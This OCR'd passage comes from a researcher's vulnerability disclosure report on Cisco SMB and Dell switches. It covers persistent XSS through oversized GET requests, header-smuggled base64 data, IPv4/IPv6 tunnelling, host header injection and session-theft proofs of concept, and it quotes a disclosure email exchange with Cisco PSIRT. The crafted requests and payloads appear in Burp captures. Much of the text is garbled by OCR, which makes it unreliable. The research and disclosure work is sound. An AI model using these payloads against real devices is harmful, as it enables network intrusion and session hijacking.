rqbqrama2ivProzxTgniGmD/eMMX24Z4zpwzliTB/uCWPbcMBY O4d7xpg +3DPGIOCeMaYP9dwxfVy4Z3578UUIGXMV 3v78C20ZXIULIByvH3#ySMe8e/ Fy kewD8{7miiHBlo/ /A 3mmf/3wllFwtXyuDPo3716vUzMQxB3Cy7yOD6QZxrmulo+V+0Z8+ DknnIMXPIcu3qG34u/f/UINIS
/£1/4U34VEIKPXn9/OCDzh82{330{PwbQS JowxzffriBSIFEUY8fptK /ffacol Qi OT/cFiMRIGIPWazlnCBXOU3swXaadbNp VG ZIij//NfKYiv3gZAZPVBWPFksCSnDIK WEvgXyel TGTQOFHOEK Xs J+X93Sia Tfpnz5UPArsYKLUdQclodTafKBShjO2elfybz78gPFERIB/y4dPPZADYMBD
0G\WwoESIhGa/LSZhzRWDjSQWAGKWhVyC UuJLMEIEQIMkwmxF ZylH2ZMRsx8JQMLe J8majEhvSrROfngUFOFxnxFEKQKOY Z TxzmBEbenGSCHINERWHYx920mXG7 Jv3Bpz8Cu2K78sEAkp GmdoQxNngGGO+MuNBIXNNUmU3KmIvSVYWHAQTnp7MR4jwhZGpRIvocSAIQ
1p4TzuM DOq/LCTE: nil7IF Jxo+uo5Ox/MIE T4jEc Te8MbFMu4J4EQIDIBIDIPPMSO/FTMCI2Q9Z;7dLEcaBxhDE2eoZsineLILIIC JaPeWeinQpPwSdRBKBckQtylrPglzZwlix Vg didholHo/ T34sbloGkjcwzY GdPp2g NIS+nICQKIEGCYTI
mMyLeRSRZE4OSKm+1rZtwéhEUIglisVz66meolDsinS+yKEZZjbPQM4fWiy JCHBKVFBIGlyLwBQOy +iayRJhXjghFWevjbZy9kIOg oohdrlzimjay JyDs2ERIS370 T5xAIDRLE95HsgnHArSs VZxc ¥ 2XToplbBBE OSyDmCIUTITLMPupmRERY VHNYBbbIY8gNF/ILDWOMMZ Gz+CaViig
KRnkjNG2zGiBZYIqBKsVeZHbeSU+iEia7Gb7ptVql Ocie/aBnLJPjpV52RgRN25nrdI AQ35T/fylgg3GuWeYopyWbm?7ImM/Mh7hMVRw4J@DKIPIBpAdlgydalxRdgB8Uedwi2mY4TPnk7finxE ZssrlbBxhjO3/ AXCzy ZIDESgHIBICOFSHSKYck5Z8hnPALN4KGaixJ6Rtaf +1IAkjcG2B
MRIme+60+7pPpoBERZkpspCoKGiz7guw/nlPnsbSCphXHweYQBrh2jyQYpOIKYIONQuUPmSnigxP/NTMSIBpcbvyQYMsASKVOom3IgBINIGEGY dileeX21Z8dpLMQpM +vuZehlélSbfedyYYulG8roxQY cXURENTOUVHqiZ7e2YNGVAUPpeSOY-+4YY+Cix3ciMd4ziZeMGCABI9
hvGeM+X/injGmD/eMMX24Z4zpwz2]TB/uGWP6cMBYO4d7xpg + 3DPGIOGeMaaHu7t/AGuabcOylmI GAAAAAEIFTkSU@MCCFIN

In this simply recreated example, welise an online decoding / encoding website to directly
convert our malicious PoC to a valid image:

Best Online Base64 to Image Decodery/ Converter (codebeautify.org)

> Code Beautify JSON Formatter  Calculators  JSON Beautifier Recent Links

Base64 to Image

Enter Base64 String ==« A

1g6ydglxRdg8Ucdw+2mY4TPnk7fjnxEZssrlbBxhjO3/AXCzyZIDES5gHrBIICoFS
HSKYck5Z8hnPALn4kGlaixJ6Rtaf+1IAk)JcG2ZBMRI9me+60+rpPpo8ERZkp6pC
oKGz7guw/nIPn665CphXHwcYQBrh2jyQYpOIKYIONQuPmMsnigxP/NTMSIBpc
bvyQYMsA5xkV0om39gBtntGEGYdiUeeXzIZ5dpLMQpM+vu7ch16156fedyYY
ulG8rloxQYcXuRENTOUVflcqiZ7e2YNGVAUPpe50Y +4YY +Gx3ciMd4zjZeMGce
A9819hvGeM+X/injGmD/eMMX24Z4zpwz1jTB/uGWP6cM8Y04d7xpg+3DP
G90GeMaaHu7t/AGuabcOyImIGAAAAAEIFTkSUQMCCFIN 2
Size : 1.75 KB, 1795 chars

y i m nceuponatimeinpar o

Final PoC and reassembly of a valid image file transmitted entirely via the LOCATION
header and encoded in multi-part baseb64. Onceuponatimeinparadise is another very
important value and one we will examine its relevance in a future paper and exploit

("CENTAUR").

@ CY B | R (267) 540-3337 pg. 46



DIRECTIVEFOUR — Protocol Stripping and Encapsulation — Routing our malicious files from IPv4 fo
IPv6 (and back again...)

This XSS / unsanitized input vector becomes a very, very, very serious problem when we

understand what on of the primary the purposes of the target device is: Segmentation of
networks and air gapping of sensitive endpoints.

Essentially, the primary security focus of these devices is being bypassed through the

onboard webserver.

Consider the following configuration. In this example, we will be using a SF200 switch on

1.4.11.5:

cisco SF200-48 48-Port 10/100 Smart Switch
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[

The switch presents the web application / administration interface via IPv4 and IPvé. In

@

fact, the only way to administer the device by default is this highly insecure web interface.

TCP/UDP Services

HTTF Senice: Enable
HTTPS Senvice: Enable
SMNMP Service: Enable

i Apply-— | [ Cancel ]
TCP Service Table
Senice Name _Type Local mAddress

| HrTP TCP Al
HTTPS TCP All
HTTP TCPRE& Al
HTTPS TCPG Al
HTTP TCPG fe80:
HTTP TCPG fe80:
HTTP TCPG fe80:

Yawlan1
Yavlan
Mavlan

Local Port | Remote IP Address

B0 Al

443 Al
30 Al

443 Al
B0 feBO
a0 fesd
80 feBO

3fd%wlan
3fd%avian
3fd%vian1

Remote Port

State

Listen
Listen
Listen
Listen
Established
Established
Established

| Inn Cansica Tahia

An attacker can use this to create a protoceohthat now traverses the IPv4 to IPvé

barrier via persistent XSS. Our method does so without a traditional router. Our malicious

protocol lives on a service that can never be disabled, can be used to take total control of
the targeted network (PROCESSION) through. traditional exploitation. Our attack prevents

legitimate administration (and incident response)ief the device and is encapsulated /

encoded in a difficult to detect manner.(baseb4).

The best part? This attacki& process is very, very simple fo execute.

Ccysl

R
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DIRECTIVEFOUR — Covert Data Exfiltration and Cross-Protocol Tunneling via P/'sfenf XSS5
Payloads (IPv4 / IPv6)

Via the IPv4 interface, we will send this malicious request. Following the encoding rules
established via previous fuzzing, the attacker submits the following:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIZILS678912345678912345678912345678912345678912345
6789123456789123456789123456789123456789X /1234567-89 O3t xxx XXX XX XX xxxxx3xxxxx XX X XXX X xxxxxx
XXX X ¢3¢ xxx:xx X X X KKK I XX 3¢ xx % %% X XXX XX XXAKXX 33636 X x % X X K XX XXX X xxx x x x x x x X X XXX XX X x
XXXXXXXXXKIKIKIKOKHKH X xxxxx X %% )X X KKK XXX X xxxx xxx x x X XXX XXX X Xoex xx x xxx x XXX Xx TUNNELEDOVERIPV4to
IPV6CiscoBridge</>/wcd?

Our specially crafted request over IPv4, displayed in Burp Suite REPEATER:

vl >y ITarget: http:// If
? == Inspector W I
Raw Hex E n = Pretty Raw Hex Render E n = Selection
1 GET ) 1 HTTP/1.1l 200 CEK
ARAARARARRARARAARARARAARARAARARARAANARAADALARAANARARAAL Z Content-Typs: text/xml Selected text
ADAARAMARAARAAAAAARARAAAARAARAAARAARARARAAARARARARAARAARAR 3 'Expires: Wed Apr 08 14:06:0&6 Z0Z0
ARAARARARAAMAARALAMARRALARRARARARRARARAARARARMARARAALRL 4 Date: Wed Apr D8 14:06:06 2020 TUNNELEDOVERIPV4Tol
ARAARARARAAMAMAAAAMARAAAAARARALARRARARAARABARAARARAALALR 5 ¥-¥S5-Protection: l; mods=hlock e
ARAARAMARAARARAARARARAARARAARARARAARARAARARARARARARAARAR & Cache-control: no-cache
ARAARRRARMARRARALAMAARALARRARARARRARARAARARARMARARLALAL 7 Pragma: no-cachs
ARAARAAARAARARAAARARARAA AR A AR A RARAARARAAR AR ARAARARAARAR % Accept-Ranges: bytes
ARAARARARRARARAARARARAARARAARARARAARARAARARARAARARAALAL 5 Connection: close Decoded from: Select *
ARAARABARMAARAMAALAMAAAAAARAARAMARAARARAARABARAARBARBAALAL | 10 X-Frams-Options: SAMEORIGIN

ALAARAAARAARAAAARARARARAAARAARAAARAARARARARARARARARAARAARAR 11 esrftoken: (null)
ARRARARRRAARARRARAR AR AR AR AR AL AR R ALARRARARRRRARRRRARLL 2
ABAABAAARAARAAAAAARARAAAARAARAAARAARARAARARARAARARAARAR

AMAARAMARAAMARAAMANARAANARARAARARAARARAARARARRARARARAAAR Request Attributes
ARAARARARRARARRARARAAAARAAAARARARRARARRARARARRARARRARAR
AAAARAAARAARARAARARARAARARAARARARAARARAARARARAARARARAAR 1 n>
ARAARARARAARARAANARARKARAAAARARARAAMARMARARAARARARRARAL 1.0 Request Query Parameters
ALAARARARAARAMAAMARARAALAAAARARARAAMARAARALARAARARAARAL </version>
AAAARARARABARARAARARARAARARAARA AR AR AARAR AR ARARARARARRARARR 17 <requestURL>
123456789123456789123456709123456789123456769123456789L ARARARAAMARAAAAMARRANARAARANAAAARANAAAAAAAAAAAL | RequestBody Parameters
23456789123456789123456789123456789%/ 1234567890k xxxxx XX ARARAAAAAARAARAAARAARARRARARAARAAARAARARRARARAR
HAHX HHHNAR AN e ALARARRARAALALARARAAAAAAALARARARARARARAALALALAL | Request Cookies
XAHH AN HHHHAK %% ARARAARARAARARAAARRAMARRAAARRAMARAAAARARAARARAL
KX KK ADAAARAAAMARAAMAMARARRARAARARAARARARAARARAARARAR
xxge s KXHK 2 TUNNELEDOVER IPVAto IPVEC iscoBridge 4f >/ w ARARARAARARAARARARAARARAAMARAARARARRARARAARARALR | RequestHeacers
cd? HTTP/ 1.1 AAARARAAAARAANRAAARAARARARAAARANRAAARARRARARAARAR
> Hos{: ARARARAARARAARAMARRAMARRALARRALARAAAARARAARARAL
3 Accqpt-Enceding: gzip, deflate ARARARAARARAARAAARRAMARRAMARNAMAANAAAAAAARAARAL | Response Headers
4 Acc il o AAAAARAARARAARARARAARARAARARAARARARAARARRARARAR
5 Connection: close ARARARRARARRARARARRARARRAMARRAMARAAAARARARRARAL

Remember, this input was injected via the IPv4 interface and is persistently integrated in
future replies by the affected web interface, GO AHEAD.
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More importantly, the affected web interface also operates via IPv6. We examine this
configuration again via the web interface;

TCP/UDP Services

HTTP Service: Enable
HTTPS Senice: [ Enable
SNIP Senice Enable

[ochppiy [ Cancel
TCP Senice Table
Senice Name]| Type | Local IP Addiess Cocal Port | Remote IP Address Remole Porl | State
HTTR TCP Al 80 Al o Listen
HTTPS TCP Al 413 Al 0 Listen
HTTe TCRS Al 80 Al o Listen
HTTPS TCPE Al 443 Al 0 Listen

HTTP TCPE  fe80; %vian1 80 fesn 3fd%viant 1073 Established
HTTP TCPG  feB0: vian1 80 fes0 3fd%vian 1234 Established
HTTP TCPE  fe80; %viant 80 fesn 3fd%viant 1237 Established

To test this (and make your life easier by not making you configure ayproxy or HTIP

request for IPv6), we will demonstrate this through a raw, plaintext protoeol native in all
TCPIP4/6 stacks:

Telnet (This can also considered “living off the land.”)

Open up a telnet session via IPv6 to the device'slocal addressalype GET / (blindly, if
you're using windows) and hit return a fewtimes.

If executed correctly, we should see_this controlled /iinjected message:

Our injected content, with file delimiters,intact, has traversed the IPv4 / IPv6 routing
barrier....

..without a traditional router.

oved to a new <a href=JTUNNELEDOVERIPV4AtoIPVEC [s]:] frequestURL>

Repeat the encoded baseb4 image payload process provided earlier and you have a_fully
fledged, encoded protocol that tunnels through IPv4 & IPv6 in 409 bytes or less.

Coming up next: This XSS is also an IPv4 / IPv6 tunneling method is also an authentication
bypass is also a... 7777
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Additional Information — Cisco PSIRT Disclosures and Communications

We are all supposed to “be on the same team”, but no one *really” behaves this way.
Consider this email chain.

| have edited a lot of the back and forth out but the short version: | am being asked to
provide a detailed list of ALL CISCO DEVICES IMPACTED by my work.

Shouldn't they be able to tell me that?

| am being pestered to provide my work, free, by their deadlines... and they ‘admit they
have been doing nothing to reciprocate.

From: <snip>@cisco.com

Sent: Thursday, July 15, 2021 12:53 PM

To: Ken Pyle

<SNIP>

Subject: Re: PLEASE CONFIRM RECEIPT: Multiple Critical Vulnerability Disclosures in Cisco SMB Switches / RxOO, others [PSIRT-
0209329419]

Dear Ken,

| do not think that anything I've been asking for with my previous email is unreasonable. | have not requested any private CYBIR research
information, unless you deem information on the Cisco platforms and firmware releases you tested against “private” information. If that
was the case, then it would be very difficult for us to proceed with the investigation and to provide you with the updates you are looking
for.

Yes, other vendors might have been able to work with the information you provided. but most other vendors do not have a
product portfolio as broad as Cisco's.

Regarding my questions on CENTAUR and TRANSMISSION my intention is not to get you into sharing any private information, but
merely to understand, if there was anything else you might be able to share at this point. - If not, that's fine, but it would help to get that
confirmation to be able to plan our further actions.

You are right that it's been 30 days since your initial disclosure to us for these issues, but it's also been 17 days that I've been
asking the same questions to clarify your findings.

Regarding the insecure token issue you are correct that this has been pending for fairly long already . | had followed up with
engineering on this just earlier today: We have a fix available that addresses the replay part of this issue, but this does not yet solve the
issue with the token being submitted as a parameter in a GET request. | can share a preliminary version of an image with that fix, if you
are interested. I'm still working out timelines for public posting of a release with that fix with engineering, so cannot share that piece of
information yet. As soon as | have that, I'll let you know immediately.”

Amazingly, this critical set of issues remained in limbo... particularly the affected Cisco
product list, until August 30™

MONTHS LATER... until “/*provided the affected product list.

Not Cisco... FOR CISCO'S OWN
PRODUCTS.

The GET request problem is still unpatched (5/2022).
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How did | determine this list? | carved the firmware with a forensic suite and just pasted
the device list into an email.

This was 45 days lafter.

“From: Ken Pyle

Sent: Monday, August 30, 2021 1:58:21 PM

<SNIPPED>

Subject: Re: PLEASE CONFIRM RECEIPT: Multiple Critical Vulnerability Disclosures in Cisco SMB Switches / RxOO, others [PSIRT-
0209329419]

Confirmed Affected Products (Partial List):
SG200-18,5G200-26,5G200-26P,SG200-50,SG200-50P,SF200-24,SF200-24P,SF200-48,SF200-48P,SG300-28,SG300-
28P,SG300-52,SF300-24,SF300-24P,SF300-48,SF300-48P,SG300-10,5SG300-10MP,SG300-10P,SG300-20,SF300-08,SF302-
08,SF302-08MP,SF302-08P,SG500-28,SG500-28P,SG500-52,5SG500-52P,SF500-24,SF500-24P,SF500-48,SF500-48P,SG500X -
24,5SG500X-24P,SG500X-48,SG500X-48P,SG500-28,SG500-28P,SG500-52,SG500-52P,SF500-24,SF500-24P,SF500-48,SF500-
48P,SG500X-24,SG500X-24P,SCG500X-48,SG500X-48P,SCG300-10SFP,SG300-52P,SG300-52MP,ESW2-350G-52,ESW2-350G -
52DC,ESW2-550X-48,ESW2-550X-48DC,ESW2-550X-48 ESW2-550X-48DC,SF300-24MP,SG300-28MP,SG200-10FP,SG200-
26FP,SG200-50FP,SF200-24FP,SG500XG-8F8T,SG500XG-8F8T,SF300-24PP,SF300-48PP,SG300-28PP,SF302-08PP,SF302-
08MPP,SG300-10PP,SG300-10MPP,SG500-28MPP,SG500-52MP,SG500-28MPP,SG500-52MP,SG300-28SFP,SF500-
24MP,SF500-48MP,SG500X-24MPP,SG500X-48MP,SF500-24MP,SF500-48MP,SCG500X-24MPP,SG500X-
48MP,SLM2016T,SLM2024T,SLM2024PT,SLM2048T,SLM2048PT,SLM224GT,SLM224PT,SLM248GT,SLM248PT,SRW2024 -
K9,SRW2024P-K9,SRW2048-K9,SRW224C4-K9,SRW224G4P-K9,SRW248G4-K9,SRW248G4P-K9,SRW2008-K9,SRW2008MP-
K9,SRW2008P-K9,SRW2016-K9,SRW208-K9,SRW208G-K9,SRW208MP-K9,SRW208P-K9,SG500-28-K9,SG500-28P-K9,SG500-
52-K9,SG500-52P-K9,SF500-24-K9,SF500-24P-K9,SF500-48-K9,SF500-48P-K9,SG500X-24-K9,SG500X-24P-K9,SG500X-48-
K9,SG500X-48P-K9,SG500-28-K9,SG500-28P-K9,SG500-52-K9,SG500-52P-K9,SF500-24-K9,SF500-24P-K9,SF500-48-
K9,SF500-48P-K9,SG500X-24-K9,SG500X-24P-K9,SG500X-48-K9,SG500X-48P-K9,SG300-10SFP-K9,SG300-52P-K9,SG300-
52MP-K9,ESW2-350G-52-K9,ESW2-350G-52DC-K9,ESW2-550X-48-K9,ESW2-550X-48DC-K9,ESW2-550X-48-K9,ESW2-550X-
48DC-K9,SF300-24MP-K9,SG300-28MP-K9,SG200-10FP,SG200-26FP,SG200-50FP,SF200-24FP,SG500XCG-8F8T-K9,SG500XC -
8F8T-K9,SF300-24PP-K9,SF300-48PP-K9,SG300-28PP-K9,SF302-08PP-K9,SF302-08MPP-K9,SG300-10PP-K9,SG300-10MPP-
K9,SG500-28MPP-K9,SG500-52MP-K9,SG500-28MPP-K9,SG500-52MP-K9,SG300-28SFP-K9,SF500-24MP-K9,SF500-48MP-
K9,SG500X-24MPP-K9,SG500X-48MP-K9,SF500-24MP-K9,SF500-48MP-K9,SCG500X-24MPP-K9,SG500X-48MP-K9,5SG200-
18,1,5G200-26,5G200-26P,SG200-50,5G200-50P,SF200-24,SF200-24P,SF200-48,SF200-48P,SG300-28,SG300-28P,SG300-
52,SF300-24,SF300-24P,SF300-48,SF300-48P,SG300-10,SG300-10MP,SG300-10P,SG300-20,SF300-08,SF302-08,SF302-
08MP,SF302-08P,SG500-28,SG500-28P,SG500-52,SG500-52P,SF500-24,SF500-24P,SF500-48,SF500-48P,SG500X -
24,5SG500X-24P,SG500X-48,SG500X-48P,SG500-28,SG500-28P,SG500-52,SG500-52P,SF500-24,SF500-24P,SF500-48,SF500-
48P,SG500X-24,SG500X-24P,SCG500X-48,SG500X-48P,SCG300-10SFP,SFP,SG300-52P,SG300-52MP, ESW2-350G-52,ESW2-
350G-52DC,ESW2-550X-48,ESW2-550X-48DC, ESW2-550X-48,ESW2-550X-48DC,SF300-24MP,SG300-28MP,SCG200-
10FP,SG200-26FP,SG200-50FP,SF200-24FP,SG500XG-8F8T,SG500XG-8F8T,SF300-24PP,SF300-48PP,SG300-28PP,SF302-
08PP,SF302-08MPP,SG300-10PP,SG300-10MPP,SG500-28MPP,SG500-52MP,SG500-28MPP,SG500-52MP,SG300-
28SFP,SFP,SF500-24MP,SF500-48MP,SG500X-24MPP,SG500X-48MP,SF500-24MP,SF500-48MP,SG500X-24MPP,SG500X -
48MP,

Please confirm receipt of this email.

Thank you.”

Did | mention | did not receive "any” credit for most of my work? (Much less an offer of a
bounty.....)

Had | gone through a VDP platform, such as their preferred avenue, | would have had to
sign an NDA on my own research, which they would refuse to credit or properly analyze....

For nothing.
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Additional Information - DIRECTIVEFOUR - Preliminary PoC Provided to Cisco for Exploitation &
Investigation

Privately disclosed in 2021, partially patched in Q4, 2021. Vector not acknowledged by
Cisco.

PoC for Cisco SMB / SF / SG / ETC.
Disclosed as:

CENTAUR - Insecure Cryptographic Design and Implementation of Static Key Materials

o CAKEHORN - Application fails to properly sanitize SESSION figld resulting in immediate
reboot / DENIAL OF SERVICE

e SOUNDBOARDFEZ - Authentication Bypass and Theft of Sessions throughulnsecure
Management/ Entropy / Pseudo-Randomization in User Controllable Parameters

e TRANSMISSION - Denial of Service / Reboot of Affected Devices via Impreper Input
Sanitization

e  MAGNIFICENTSEVEN - Host Header Injection / Paisoning to Client-Side Browser Attacks
and redirection

o MOONAGEDAYDREAM — Host Header Injectiontand Unsanitized XML Integration to
BIZARRELOVETRIANGLE JNLP / XML Based Client Processor Attacks

e PROCESSION - Application Fuzzing / Persistent XSS / Persistent DOS through buffer
overflow /excessively long request.to Persistent XSS /"Denial of Service / Client-Side
Exploitation
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Additional Information - Persistent XSS / Control of Content via Host Header Injection and

Persistent XSS (DELL)

The security team demonstrates an HTML injection vulnerability used to trigger client-side browser

exploitation via the Dell xI026p switch using firmware 3.0.1.8

Here, a s;ecinlly crafted request is sent:

\n Actions v

GET HTTP L 1
H'.-.“it[ CYBIRPOC.CON"></br><img src="">
CookTes

NoErSCacug - on, conraruse anmreradmin; PriviligeLevel=15

The application integrates the HOST HEADER unsafely into the response, returning altere
code to the user:

HTIP/1.1 302 Redirect
userStatus=ok; ContaxUserName=admin; PriviligeLesvel=l5Server: GolAhead-Wabs
Date;
| | mg src= = 3£293 I

<hET i> B odys

This document has moved to a ::'"-\l- 2 href="hotpai YTBIRPOC M »£img aEc=""s I
ca2cl13P253/ "> location</a>.

Flease update your documents Lo reflect The

& New location.
html>

This can be used for @ number of client side attacks anc@\bn hijacking scenarios.

This example is infentionally invalid fo a tvpical Mo er and is used only fo demonsirate the
issue. Much more refined vectors and attacks €re Mossible. This can be used for a number of

client side attacks and session hijacking scer@; is functionality and associated outdated
components should be considered critical ure.
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Persistent XSS (C/ISCO)

Additional Information - Persistent XSS / Control of Content Via Host Header Injection and

Calls to SYSTEM.XML and similar functions also produce this condition:

ALLTDLAFULATOLRFU WL T DL ML T O FF U
-RPOCCYEBIRPOCCYEBIRPOCCYBIRPOCCYEIR
ZYBIRPO OCCY
WCCYBIRPOC, System.xml? HTTHRAL .1

Eéply from
General failure.
General failure.

General faily

GETI;gsTELUanexuba_sLVLJjsflugln is ETTPJL.L

HosC

Cookie: activelLangld=

Upgrade—-Insscure—Requests 1
Accept-Encoding
Accept

Aecept-Language
User-Agent

gzip, deflate

en-US en-GB.;q=0.% en;q=0_8
Moezilla/5.0 (Windows HT 10.0;

Satari/537.3E
Comnection: close

Cache-Control: max-age=0

X

Monitoring of console / Proo

C CYBIR

WinEd; x&4
AppleWebFit /537.3& (FHTML, lilre Geclo) Chrome/S0.0.4430.Z21C

ersistent Fuzzing & Denial of Service:

F 5

HTTP/1.l1 302 Redirect
Golhead-Webs

Sexrver

Date:
Commection: close
Pragma: no-cache

Cache-Control: no-cache
Contenc-Type: text/htnl

</ResponseData>
/uba_srvr/is/login.is

</Actior

Respons

vba srvr/is/login. js">jocaciol

Please update your documencs t
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Additional Information - PoC for Authentication Bypass and Polyglot Exploitation (Muiltiple)

PROCESSION / SOUNDBOARDFEZ - Session Theft & Authentication Bypass via HTTPS/HTTP
injection

The security team abuses device functionality to hijack session tokens through the response
headers / lack of proper sanitization.

The attacker submits a specially crafted request via unauthenticated GET to a vulnerable Cisco

SMB Switch:
(<

GET

AAAAAARAAARAAARAAA AL AR AR AR RARARAAARRARALAARAARAAR AR AARAARAR AR AARAR AR ARRAARARAMARAAARAAARAAN
AAAAAAAAARAARAAARRAA AN AAAARAAAA AR A A A AARAARAA AR A ARAARARAR A AR A RANARARARAAAAARAARAAA AR AARAARARRAR AR AAAAARAARAA
AAARAARAARAARARARAARAAARAAAARAA AR AR AAAAAARAAAARARAA LA RAAAAAAAAALARARAAAAARARAARAARAARAAAARARARARAARAAAAAAARA
AAAABARAAALABARRAA LA AR AR ARAARAARAAAAR AR AARARAAR LA AARARAAARARARRARRARAARAARRARARAARAARARE
AAAAAARAA A AR AR AR AR R AR AR AR AR AR AR AR AAAAR AR AR AR R AARARAARAARARAAAAARARALARARPARARASARARARRARAARA
AAAALAAN AR AR AR AR AR LA AR AR R AR AR A AR AR AR AR AR AR AR AR AARAA AR RARAARAAAAA AR AL LA ARAALRARRARAARARAAARAAL
AAARAA R AR AR AR AR AR AR AR AR AR AR AR AR AAR AR AN AR AR AR AR AR AR AR A RARARRAARARA
AAAAAA AR AR AR AR AR AR AN AR AR AR AR AR AR AR AR AR RARAARARARARARARRAARARA
AAARAARAAA AR AR AL AR RAA AR AA AR AR AL AALARLARAL AR AAAAARALAAARARAARARARARARARAAR ARS
AAAAAAAAARARE AR AL AR AR AR AR ARARA AR AR AR AR AARAR AR AARAAAARAARAARAR AR RAA AR AR AARAARARAARARAAARAAN
LEPLEERLLERLEELEEELEEEEEEEVPEEEEREEEEEPEPEE PP EEEEEEEEEELEEEEEEEEEPLEE LR PR LV LR ELE PR R LR PR LYY
AAARAARAARARRARAA/wcd?

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0,8
Accept -Language: en-US,en;g=0.5

Accept -Encoding: gzip, deflate

Connection: close

-
N~
The web application returns the rejected request:,o

<?xml wversien='1.0' encoding="UTF-&'7=>
<ResponseDat a=
=ActionStatus=
<yersion=
1.0
wersions
=requestURL=
AAAAAAAAAAAAALALAALAAAALARLAALAALAAAALAAAAALAY
AAAARAAAARMARARLAAALALAAARARALAABALRABAAGARAAL
AAAARAAAAALARAALAALAARAALARAARARLAAAAALALARAAN
</requestURL>
<statusCodes=
4
</statusCodes
=deviceStatusCode=
0
=/deviceStatusCode=
=ctatusString=
Request Is not authenticated
=/statusString=
<fActionStatuss=
</Responselata=
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